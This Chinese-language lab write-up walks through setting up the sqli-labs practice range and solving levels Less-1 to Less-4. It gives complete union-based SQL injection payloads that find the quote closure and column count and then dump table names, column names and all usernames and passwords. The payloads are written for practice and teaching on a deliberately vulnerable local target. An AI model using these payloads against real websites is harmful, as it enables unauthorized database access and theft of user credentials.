前言: 靶场搭建
安装小皮【phpstudy_pro】,启动服务Apache和MySQL 5.7.26。
注意:如果MySQL5.7.26 无法启动,则是因为本机存在其他版本MySQL,冲突导致的。删除其他数据库或者在VMware中搭建Windows虚拟机安装运行即可。
点击网站--》管理--》php版本,选择php5.4版本左右的,如果没有点击“更多版本下载安装即可”。因为靶场只能在低于php5.4版本才能运行,默认的7.几版本无法运行靶场。
在GitHub中下载靶场压缩包。项⽬地址:https://github.com/Audi-1/sqli-labs
解压缩后,放在Apache的www网址根目录下。点击网站---管理----打开根目录,粘贴解压缩后的文化夹。【可修改文件夹名称为:sqli,便于后面访问】
打开:sqli文件夹得sql-connections文件夹,找到“db-creds.inc”文件,以记事本格式打开,将数据库密码dbpass:root【默认为root,如果修改过,请填自己修改后的密码】填入。
重启Apache和MySQL服务,浏览器通过“本机ip+/sqli【靶场文件夹的名称】“访问靶场首页。
【SQL注入】
一、Less-1
1. 点击第一关,今天的闯关开始啦。
2. 输入参数值
这里我们在/Less-1/处,通过 "?"来提交参数的值,输入 :?id=1。页面出现信息。
【注意是英文状态下的问号?】
3. 【注⼊判断顺序:判断注⼊类型--》判断闭合⽅式--》判断是否存在注⼊--》注⼊攻击】
(1)首先我们进行判断是字符注入还是数字型注入。
通过逻辑判断:?id=1 and 1=1页面正常,而?id=1 and 1=2, 如果页面无变化则为字符型注入,则需要找到闭合方式。如果页面出现变化,则证明是数字型注入,此时不需要考虑闭合方式。
Less-1,输入:?id=1 and 1=1页面正常。而输入:?id=1 and 1=2,页面无变化。
【注意;】找闭合方式,先找到报错,在进行注释(--空格),URL过滤空格,我们以”--+“进行注释。继续找闭合方式,直到页面正常。
(2)可得出,此关为字符型注入。寻找闭合方式:输入单引号,发现报错。
闭合方式【单引号 双引号 以及和小括号、中括号、花括号的搭配】
(3)进行注释 --+,恢复页面正常,即闭合成功。
4. 下一步,我们判断字段数量。
使用order by 或者 group by进行判断,采用二分法。
order by 1;正确 order by 5;错误 order by 3;正确 order by4 ;错误
所有,字段数量为3 。
5. 判断回显点:
【联合查询union】为了有结果显示,我们需要保证前一个条件为假。
输入:?id=-1' union select 1,2,3; 发现回显点在2和3处。
6. 查询数据库名,并在回显点显示。
输入:?id=-1' union select 1,2,database()--+ 数据库名为:security
7. 查询该数据库下,所有表的表名。
输入:?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+
为了以一条记录查看当前数据库所有表的表名,使用group_concat() 将其所有表名拼接为一条记录。 输入:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
8. 查询某表下的所有字段名。
看到有users表,我们以此为例进行爆破数据。输入:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+ 发现字段id,username,password。
9. 查询该表下所有字段的所有数据。
输入:?id=-1' union select 1,2,group_concat(id,username,password) from users--+
10.为了数据显示清晰,在group_concat()中添加分隔符。
输入:?id=-1' union select 1,2,group_concat(id,':',username,'~',password) from users--+
二、Less-2
1. 输入参数:?id=1
2. 判断字符型还是数字型:
?id=1 and 1=2 页面错误,则为数字型注入。【不需要闭合。但注释--+】
3. 判断回显点
输入:?id=-1 union select 1,2,3--+【页面只显示一条数据,为了显示回显点,将前面条件变为假】
4. 爆破数据库库名
输入: ?id=-1 union select 1,2,database()--+
5. 爆破该数据库下的所有表的表名
输入:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
6. 爆破某表下的所有字段名 【以users表为例】
输入:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
7. 爆破该表的所有字段的所有数据
输入:?id=-1 union select 1,2,group_concat(id,':',username,'~',password) from users--+
三、Less-3
1. 输入参数:?id=1 ,判断注入类型:字符型还是数字型,寻找闭合方式
?id=1 and 1=2
闭合时,先找报错,后闭合 : 单引号报错了,注释后--+,仍错误。再添加小括号,找到完整的闭合方式 。 输入:?id=1'--+ -----》 ?id=1'--+ -----》 ?id=1')--+
2. 判断字段数
输入: ?id=1') order by 1--+ 正常 ---》 ?id=1') order by 5--+ 错误
?id=1') order by 3--+ 正常 ---》 ?id=1') order by 4--+ 错误 所有字段数为3
3. 找到页面的回显点 使用联合查询union
输入: ?id=-1') union select 1,2,3--+
4. 查询数据库库名
输入:?id=-1') union select 1,2,database()--+
5.查询该数据库下的所有表的表名
输入:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
6. 查询某表下的所有字段名
输入:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
7. 查询该数据库下users表下所有字段的所有数据
输入:?id=-1') union select 1,2,group_concat(id,':',username,'~',password) from users--+
四、Less-4
1. 进入闯关Less-4
2. 判断注入类型,寻找闭合方式,判断字段数
输入:?id=1 and 1=2 -->页面不变,是字符型注入 找闭合
?id=1“ 报错 ----》 ?id=1"--+ 注释 ,仍报错 ----》 ?id=1")--+ 完整闭合
判断字段数: ?id=1") order by 3 --+ 正确 ---》 ?id=1") order by 4--+ 错误
判断出字段数为3
3. 查看回显点,查找数据库库名
输入:?id=-1") union select 1,2,3 --+ //回显点是2和3
?id=-1") union select 1,2,database()--+
4.查看该数据库下所有表的表名,以及users表下所有字段名
表名:输入:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
字段名: 输入:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
5. 查看users表下所有字段的所有数据
输入: ?id=-1") union select 1,2,group_concat(id,':',username,'~',password) from users--+
今天练习了基础的四关,除了第二关为数字型注入,其他三关都是字符型注入,需要判断各自的闭合方式。数字型注入不需要闭合。union联合查询,为了使结果显示在页面上,我们将union前面的条件变为假【通常前面加个“-”负号即可】。其中常用的字段有:database() 数据库名、information_schema.tables 所有表名 、information_schema.columns 所有字段名 、table_schema库名 、table_name表名 、column_name字段名,等等。
好了,今天的SQL注入基础四关Less-1~Less-4,分享结束啦。
愿本文章能帮助到看到它的每一位读者哦。拜拜。